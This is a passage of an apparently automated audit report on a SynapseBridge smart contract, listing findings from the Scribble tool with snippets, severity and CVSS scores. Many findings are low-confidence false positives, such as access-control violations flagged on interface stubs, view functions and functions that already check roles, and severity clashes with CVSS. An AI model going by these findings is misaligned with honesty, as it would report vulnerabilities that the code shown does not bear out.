1724 |      * @dev Returns the admin role that controls `role`. See {grantRole} and

```

Impact Analysis

Minor impact on contract functionality, gas efficiency, or code quality. Low risk but recommended to fix for best practices.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-169. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1729
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
1724 |      * @dev Returns the admin role that controls `role`. See {grantRole} and
1725 |      * {revokeRole}.
1726 |      *
1727 |      * To change a role's admin, use {_setRoleAdmin}.
1728 |      */
>> 1729 |      function getRoleAdmin(bytes32 role) public view returns (bytes32) {
1730 |          return _roles[role].adminRole;
1731 |      }
1732 |
1733 |      /**
1734 |      * @dev Grants `role` to `account`.
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-170. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1870
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
1865 |  
1866 | // bridge/interfaces/ISwap.sol  
1867 |  
1868 | interface ISwap {  
1869 |     // pool data view functions  
>> 1870 |     function getA() external view returns (uint256);  
1871 |  
1872 |     function getAPrecise() external view returns (uint256);  
1873 |  
1874 |     function getToken(uint8 index) external view returns (IERC20);  
1875 |
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-171. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1872
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

1867 |
1868 | interface ISwap {
1869 |     // pool data view functions
1870 |     function getA() external view returns (uint256);
1871 |
>> 1872 |     function getAPrecise() external view returns (uint256);
1873 |
1874 |     function getToken(uint8 index) external view returns (IERC20);
1875 |
1876 |     function getTokenIndex(address tokenAddress) external view returns
(uint8);
1877 |

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-172. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1874
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
1869 | // pool data view functions
1870 | function getA() external view returns (uint256);
1871 |
1872 | function getAPrecise() external view returns (uint256);
1873 |
>> 1874 | function getToken(uint8 index) external view returns (IERC20);
1875 |
1876 | function getTokenIndex(address tokenAddress) external view returns
(uint8);
1877 |
1878 | function getTokenBalance(uint8 index) external view returns (uint256);
1879 |
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-173. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1876
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
1871 |  
1872 |     function getAPrecise() external view returns (uint256);  
1873 |  
1874 |     function getToken(uint8 index) external view returns (IERC20);  
1875 |  
>> 1876 |     function getTokenIndex(address tokenAddress) external view returns  
(uint8);  
1877 |  
1878 |     function getTokenBalance(uint8 index) external view returns (uint256);  
1879 |  
1880 |     function getVirtualPrice() external view returns (uint256);  
1881 |
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-174. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1878
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
1873 |  
1874 |     function getToken(uint8 index) external view returns (IERC20);  
1875 |  
1876 |     function getTokenIndex(address tokenAddress) external view returns  
(uint8);  
1877 |  
>> 1878 |     function getTokenBalance(uint8 index) external view returns (uint256);  
1879 |  
1880 |     function getVirtualPrice() external view returns (uint256);  
1881 |  
1882 |     function swapStorage()  
1883 |         external
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-175. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1880
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
1875 |  
1876 |     function getTokenIndex(address tokenAddress) external view returns  
(uint8);  
1877 |  
1878 |     function getTokenBalance(uint8 index) external view returns (uint256);  
1879 |  
>> 1880 |     function getVirtualPrice() external view returns (uint256);  
1881 |  
1882 |     function swapStorage()  
1883 |         external  
1884 |         view  
1885 |         returns (
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-176. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1902
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

1897 |         uint8 tokenIndexFrom,
1898 |         uint8 tokenIndexTo,
1899 |         uint256 dx
1900 |     ) external view returns (uint256);
1901 |
>> 1902 |     function calculateTokenAmount(uint256[] calldata amounts, bool deposit)
external view returns (uint256);
1903 |
1904 |     function calculateRemoveLiquidity(uint256 amount) external view returns
(uint256[] memory);
1905 |
1906 |     function calculateRemoveLiquidityOneToken(uint256 tokenAmount, uint8
tokenIndex)
1907 |     external

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-177. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1904
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

1899 |         uint256 dx
1900 |     ) external view returns (uint256);
1901 |
1902 |     function calculateTokenAmount(uint256[] calldata amounts, bool deposit)
external view returns (uint256);
1903 |
>> 1904 |     function calculateRemoveLiquidity(uint256 amount) external view returns
(uint256[] memory);
1905 |
1906 |     function calculateRemoveLiquidityOneToken(uint256 tokenAmount, uint8
tokenIndex)
1907 |         external
1908 |         view
1909 |         returns (uint256 availableTokenAmount);

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-178. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2066
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```

2061 |
2062 |     // v2 events
2063 |     event TokenRedeemV2(bytes32 indexed to, uint256 chainId, IERC20 token,
uint256 amount);
2064 |
2065 |     // VIEW FUNCTIONS ***/
>> 2066 |     function getFeeBalance(address tokenAddress) external view returns
(uint256) {
2067 |         return fees[tokenAddress];
2068 |     }
2069 |
2070 |     function kappaExists(bytes32 kappa) external view returns (bool) {
2071 |         return kappaMap[kappa];

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-179. postcondition_failure

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2070
Status	Open (28% conf.)
Detected By	scribble

Description

Function postcondition may not hold - return value or state change not guaranteed

Vulnerable Code

```
2065 | // VIEW FUNCTIONS ***/
2066 | function getFeeBalance(address tokenAddress) external view returns
(uint256) {
2067 |     return fees[tokenAddress];
2068 | }
2069 |
>> 2070 | function kappaExists(bytes32 kappa) external view returns (bool) {
2071 |     return kappaMap[kappa];
2072 | }
2073 |
2074 | // FEE FUNCTIONS ***/
2075 | /**
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Add postcondition checks or Scribble #if_succeeds with old() references

References

- OWASP Smart Contract Top 10

F-180. access_control_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:697
Status	Open (28% conf.)
Detected By	scribble

Description

Access control property may be violated - privileged function callable by unauthorized users

Vulnerable Code

```

692 |      *
693 |      * Returns a boolean value indicating whether the operation succeeded.
694 |      *
695 |      * Emits a {Transfer} event.
696 |      */
>> 697 |      function transfer(address recipient, uint256 amount) external returns
(bool);
698 |
699 |      /**
700 |      * @dev Returns the remaining number of tokens that `spender` will be
701 |      * allowed to spend on behalf of `owner` through {transferFrom}. This is
702 |      * zero by default.
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers and Scribble annotations for authorization

References

- SWC-105
- OWASP Smart Contract Top 10

F-181. access_control_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:733
Status	Open (28% conf.)
Detected By	scribble

Description

Access control property may be violated - privileged function callable by unauthorized users

Vulnerable Code

```

728 |      *
729 |      * Returns a boolean value indicating whether the operation succeeded.
730 |      *
731 |      * Emits a {Transfer} event.
732 |      */
>> 733 |      function transferFrom(address sender, address recipient, uint256 amount)
external returns (bool);
734 |
735 |      /**
736 |      * @dev Emitted when `value` tokens are moved from one account (`from`) to
737 |      * another (`to`).
738 |      *
```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers and Scribble annotations for authorization

References

- SWC-105
- OWASP Smart Contract Top 10

F-182. access_control_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:767
Status	Open (28% conf.)
Detected By	scribble

Description

Access control property may be violated - privileged function callable by unauthorized users

Vulnerable Code

```

762 |
763 |     receive() external payable;
764 |
765 |     function deposit() external payable;
766 |
>> 767 |     function withdraw(uint256 wad) external;
768 |
769 |     function totalSupply() external view returns (uint256);
770 |
771 |     function approve(address guy, uint256 wad) external returns (bool);
772 |

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers and Scribble annotations for authorization

References

- SWC-105
- OWASP Smart Contract Top 10

F-183. access_control_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:773
Status	Open (28% conf.)
Detected By	scribble

Description

Access control property may be violated - privileged function callable by unauthorized users

Vulnerable Code

```

768 |
769 |     function totalSupply() external view returns (uint256);
770 |
771 |     function approve(address guy, uint256 wad) external returns (bool);
772 |
>> 773 |     function transfer(address dst, uint256 wad) external returns (bool);
774 |
775 |     function transferFrom(
776 |         address src,
777 |         address dst,
778 |         uint256 wad

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers and Scribble annotations for authorization

References

- SWC-105
- OWASP Smart Contract Top 10

F-184. access_control_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1252
Status	Open (28% conf.)
Detected By	scribble

Description

Access control property may be violated - privileged function callable by unauthorized users

Vulnerable Code

```

1247 |      * Requirements:
1248 |      *
1249 |      * - `recipient` cannot be the zero address.
1250 |      * - the caller must have a balance of at least `amount`.
1251 |      */
>> 1252 |      function transfer(address recipient, uint256 amount) public virtual
override returns (bool) {
1253 |          _transfer(_msgSender(), recipient, amount);
1254 |          return true;
1255 |      }
1256 |
1257 |      /**

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers and Scribble annotations for authorization

References

- SWC-105
- OWASP Smart Contract Top 10

F-185. access_control_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1289
Status	Open (28% conf.)
Detected By	scribble

Description

Access control property may be violated - privileged function callable by unauthorized users

Vulnerable Code

```

1284 |      * - `sender` and `recipient` cannot be the zero address.
1285 |      * - `sender` must have a balance of at least `amount`.
1286 |      * - the caller must have allowance for ``sender``'s tokens of at least
1287 |      * `amount`.
1288 |      */
>> 1289 |      function transferFrom(address sender, address recipient, uint256 amount)
public virtual override returns (bool) {
1290 |          _transfer(sender, recipient, amount);
1291 |          _approve(sender, _msgSender(), _allowances[sender]
[_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
1292 |          return true;
1293 |      }
1294 |

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers and Scribble annotations for authorization

References

- SWC-105
- OWASP Smart Contract Top 10

F-186. access_control_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1484
Status	Open (28% conf.)
Detected By	scribble

Description

Access control property may be violated - privileged function callable by unauthorized users

Vulnerable Code

```

1479 |     }
1480 |
1481 |     /**
1482 |      * @dev Returns true if the contract is paused, and false otherwise.
1483 |      */
>> 1484 |     function paused() public view virtual returns (bool) {
1485 |         return _paused;
1486 |     }
1487 |
1488 |     /**
1489 |      * @dev Modifier to make a function callable only when the contract is not
        paused.

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers and Scribble annotations for authorization

References

- SWC-105
- OWASP Smart Contract Top 10

F-187. access_control_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1843
Status	Open (28% conf.)
Detected By	scribble

Description

Access control property may be violated - privileged function callable by unauthorized users

Vulnerable Code

```

1838 |  /**
1839 |  * @dev Destroys `amount` tokens from the caller.
1840 |  *
1841 |  * See {ERC20-_burn}.
1842 |  */
>> 1843 |  function burn(uint256 amount) public virtual {
1844 |      _burn(msgSender(), amount);
1845 |  }
1846 |
1847 |  /**
1848 |  * @dev Destroys `amount` tokens from `account`, deducting from the
caller's

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers and Scribble annotations for authorization

References

- SWC-105
- OWASP Smart Contract Top 10

F-188. access_control_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1858
Status	Open (28% conf.)
Detected By	scribble

Description

Access control property may be violated - privileged function callable by unauthorized users

Vulnerable Code

```

1853 |      * Requirements:
1854 |      *
1855 |      * - the caller must have allowance for ``accounts``'s tokens of at least
1856 |      * `amount`.
1857 |      */
>> 1858 |      function burnFrom(address account, uint256 amount) public virtual {
1859 |          uint256 decreasedAllowance = allowance(account,
_msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
1860 |
1861 |          _approve(account, _msgSender(), decreasedAllowance);
1862 |          _burn(account, amount);
1863 |      }

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers and Scribble annotations for authorization

References

- SWC-105
- OWASP Smart Contract Top 10

F-189. access_control_violation

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1960
Status	Open (28% conf.)
Detected By	scribble

Description

Access control property may be violated - privileged function callable by unauthorized users

Vulnerable Code

```

1955 | }
1956 |
1957 | // bridge/SynapseBridge.sol
1958 |
1959 | interface IERC20Mintable is IERC20 {
>> 1960 |     function mint(address to, uint256 amount) external;
1961 | }
1962 |
1963 | contract SynapseBridge is Initializable, AccessControlUpgradeable,
ReentrancyGuardUpgradeable, PausableUpgradeable {
1964 |     using SafeERC20 for IERC20;
1965 |     using SafeERC20 for IERC20Mintable;

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers and Scribble annotations for authorization

References

- SWC-105
- OWASP Smart Contract Top 10

F-190. access_control_violation

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1988
Status	Open (28% conf.)
Detected By	scribble

Description

Access control property may be violated - privileged function callable by unauthorized users

Vulnerable Code

```

1983 |         startBlockNumber = block.number;
1984 |         _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
1985 |         __AccessControl_init();
1986 |     }
1987 |
>> 1988 |     function setChainGasAmount(uint256 amount) external {
1989 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
1990 |         chainGasAmount = amount;
1991 |     }
1992 |
1993 |     function setWethAddress(address payable _wethAddress) external {

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers and Scribble annotations for authorization

References

- SWC-105
- OWASP Smart Contract Top 10

F-191. access_control_violation

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:1993
Status	Open (28% conf.)
Detected By	scribble

Description

Access control property may be violated - privileged function callable by unauthorized users

Vulnerable Code

```

1988 |     function setChainGasAmount(uint256 amount) external {
1989 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
1990 |         chainGasAmount = amount;
1991 |     }
1992 |
>> 1993 |     function setWethAddress(address payable _wethAddress) external {
1994 |         require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not admin");
1995 |         WETH_ADDRESS = _wethAddress;
1996 |     }
1997 |
1998 |     function addKappas(bytes32[] calldata kappas) external {

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers and Scribble annotations for authorization

References

- SWC-105
- OWASP Smart Contract Top 10

F-192. access_control_violation

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2080
Status	Open (28% conf.)
Detected By	scribble

Description

Access control property may be violated - privileged function callable by unauthorized users

Vulnerable Code

```

2075 | /**
2076 |  * * @notice withdraw specified ERC20 token fees to a given address
2077 |  * * @param token ERC20 token in which fees accumulated to transfer
2078 |  * * @param to Address to send the fees to
2079 |  */
>> 2080 | function withdrawFees(IERC20 token, address to) external whenNotPaused {
2081 |     require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2082 |     require(to != address(0), "Address is 0x000");
2083 |     if (fees[address(token)] != 0) {
2084 |         token.safeTransfer(to, fees[address(token)]);
2085 |         fees[address(token)] = 0;

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers and Scribble annotations for authorization

References

- SWC-105
- OWASP Smart Contract Top 10

F-193. access_control_violation

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2090
Status	Open (28% conf.)
Detected By	scribble

Description

Access control property may be violated - privileged function callable by unauthorized users

Vulnerable Code

```

2085 |         fees[address(token)] = 0;
2086 |     }
2087 | }
2088 |
2089 | // PAUSABLE FUNCTIONS ***/
>> 2090 | function pause() external {
2091 |     require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2092 |     _pause();
2093 | }
2094 |
2095 | function unpause() external {

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers and Scribble annotations for authorization

References

- SWC-105
- OWASP Smart Contract Top 10

F-194. access_control_violation

PROPERTY	VALUE
Severity	LOW
Category	
CVSS Score	9.6
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2095
Status	Open (28% conf.)
Detected By	scribble

Description

Access control property may be violated - privileged function callable by unauthorized users

Vulnerable Code

```

2090 |     function pause() external {
2091 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2092 |         _pause();
2093 |     }
2094 |
>> 2095 |     function unpause() external {
2096 |         require(hasRole(GOVERNANCE_ROLE, msg.sender), "Not governance");
2097 |         _unpause();
2098 |     }
2099 |
2100 |     /**

```

Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

Recommendation

Add access control modifiers and Scribble annotations for authorization

References

- SWC-105
- OWASP Smart Contract Top 10

F-195. state_invariant_break

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2156
Status	Open (28% conf.)
Detected By	scribble

Description

State invariant may break during execution - intermediate state accessible via reentrancy

Vulnerable Code

```

2151 |         require(!kappaMap[kappa], "Kappa is already present");
2152 |         kappaMap[kappa] = true;
2153 |         fees[address(token)] = fees[address(token)].add(fee);
2154 |         if (address(token) == WETH_ADDRESS && WETH_ADDRESS != address(0)) {
2155 |             IWETH9(WETH_ADDRESS).withdraw(amount.sub(fee));
>> 2156 |             (bool success, ) = to.call{value: amount.sub(fee)}("");
2157 |             require(success, "ETH_TRANSFER_FAILED");
2158 |             emit TokenWithdraw(to, token, amount, fee, kappa);
2159 |         } else {
2160 |             emit TokenWithdraw(to, token, amount, fee, kappa);
2161 |             token.safeTransfer(to, amount.sub(fee));

```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Follow Checks-Effects-Interactions pattern and use reentrancy guards

References

- OWASP Smart Contract Top 10

F-196. state_invariant_break

PROPERTY	VALUE
Severity	MEDIUM
Category	
CVSS Score	6.8
Confidence	28%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:2316
Status	Open (28% conf.)
Detected By	scribble

Description

State invariant may break during execution - intermediate state accessible via reentrancy

Vulnerable Code

```
2311 |         ) {  
2312 |             // Swap succeeded, transfer swapped asset  
2313 |             IERC20 swappedTokenTo = ISwap(pool).getToken(tokenIndexTo);  
2314 |             if (address(swappedTokenTo) == WETH_ADDRESS && WETH_ADDRESS !=  
address(0)) {  
2315 |                 IWETH9(WETH_ADDRESS).withdraw(finalSwappedAmount);  
>> 2316 |                 (bool success, ) = to.call{value: finalSwappedAmount}("");  
2317 |                 require(success, "ETH_TRANSFER_FAILED");  
2318 |                 emit TokenMintAndSwap(  
2319 |                     to,  
2320 |                     token,  
2321 |                     finalSwappedAmount,
```

Impact Analysis

Limited financial impact or requires specific pre-conditions to exploit. Should be addressed before mainnet deployment.

Recommendation

Follow Checks-Effects-Interactions pattern and use reentrancy guards

References

- OWASP Smart Contract Top 10

F-197. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:683
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

678 | */
679 | interface IERC20 {
680 |     /**
681 |      * @dev Returns the amount of tokens in existence.
682 |      */
>> 683 |     function totalSupply() external view returns (uint256);
684 |
685 |     /**
686 |      * @dev Returns the amount of tokens owned by `account`.
687 |      */
688 |     function balanceOf(address account) external view returns (uint256);

```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-198. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO

PROPERTY	VALUE
Category	
CVSS Score	6.8
Confidence	20%
Location	<code>/home/hero/audit_workspace/SynapseBridge.flat.sol:688</code>
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

683 |     function totalSupply() external view returns (uint256);
684 |
685 |     /**
686 |      * @dev Returns the amount of tokens owned by `account`.
687 |      */
>> 688 |     function balanceOf(address account) external view returns (uint256);
689 |
690 |     /**
691 |      * @dev Moves `amount` tokens from the caller's account to `recipient`.
692 |      *
693 |      * Returns a boolean value indicating whether the operation succeeded.
```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-199. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8

PROPERTY	VALUE
Confidence	20%
Location	<code>/home/hero/audit_workspace/SynapseBridge.flat.sol:697</code>
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

692 |      *
693 |      * Returns a boolean value indicating whether the operation succeeded.
694 |      *
695 |      * Emits a {Transfer} event.
696 |      */
>> 697 |      function transfer(address recipient, uint256 amount) external returns
(bool);
698 |
699 |      /**
700 |      * @dev Returns the remaining number of tokens that `spender` will be
701 |      * allowed to spend on behalf of `owner` through {transferFrom}. This is
702 |      * zero by default.
```

Impact Analysis

Impact assessment pending.

Recommendation

Add `#if_succeeds` annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-200. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	<code>/home/hero/audit_workspace/SynapseBridge.flat.sol:706</code>

PROPERTY	VALUE
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

701 |      * allowed to spend on behalf of `owner` through {transferFrom}. This is
702 |      * zero by default.
703 |      *
704 |      * This value changes when {approve} or {transferFrom} are called.
705 |      */
>> 706 |      function allowance(address owner, address spender) external view returns
(uint256);
707 |
708 |      /**
709 |      * @dev Sets `amount` as the allowance of `spender` over the caller's
tokens.
710 |      *
711 |      * Returns a boolean value indicating whether the operation succeeded.
```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-201. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:722
Status	Open (20% conf.)

PROPERTY	VALUE
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

717 |      * desired value afterwards:
718 |      * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
719 |      *
720 |      * Emits an {Approval} event.
721 |      */
>> 722 |      function approve(address spender, uint256 amount) external returns (bool);
723 |
724 |      /**
725 |      * @dev Moves `amount` tokens from `sender` to `recipient` using the
726 |      * allowance mechanism. `amount` is then deducted from the caller's
727 |      * allowance.
```

Impact Analysis

Impact assessment pending.

Recommendation

Add #if_succeeds annotation to specify expected behavior

References

- OWASP Smart Contract Top 10

F-202. missing_annotation_coverage

PROPERTY	VALUE
Severity	INFO
Category	
CVSS Score	6.8
Confidence	20%
Location	/home/hero/audit_workspace/SynapseBridge.flat.sol:733
Status	Open (20% conf.)
Detected By	scribble

Description

Public/external function lacks Scribble annotations for formal verification coverage

Vulnerable Code

```

728 |      *
729 |      * Returns a boolean value indicating whether the operation succeeded.
730 |      *
731 |      * Emits a {Transfer} event.
732 |      */
>> 733 |      function transferFrom(address sender, address recipient, uint256 amount)
external returns (bool);
734 |
735 |      /**
736 |      * @dev Emitted when `value` tokens are moved from one account (`from`) to
737 |      * another (`to`).
738 |      *
```

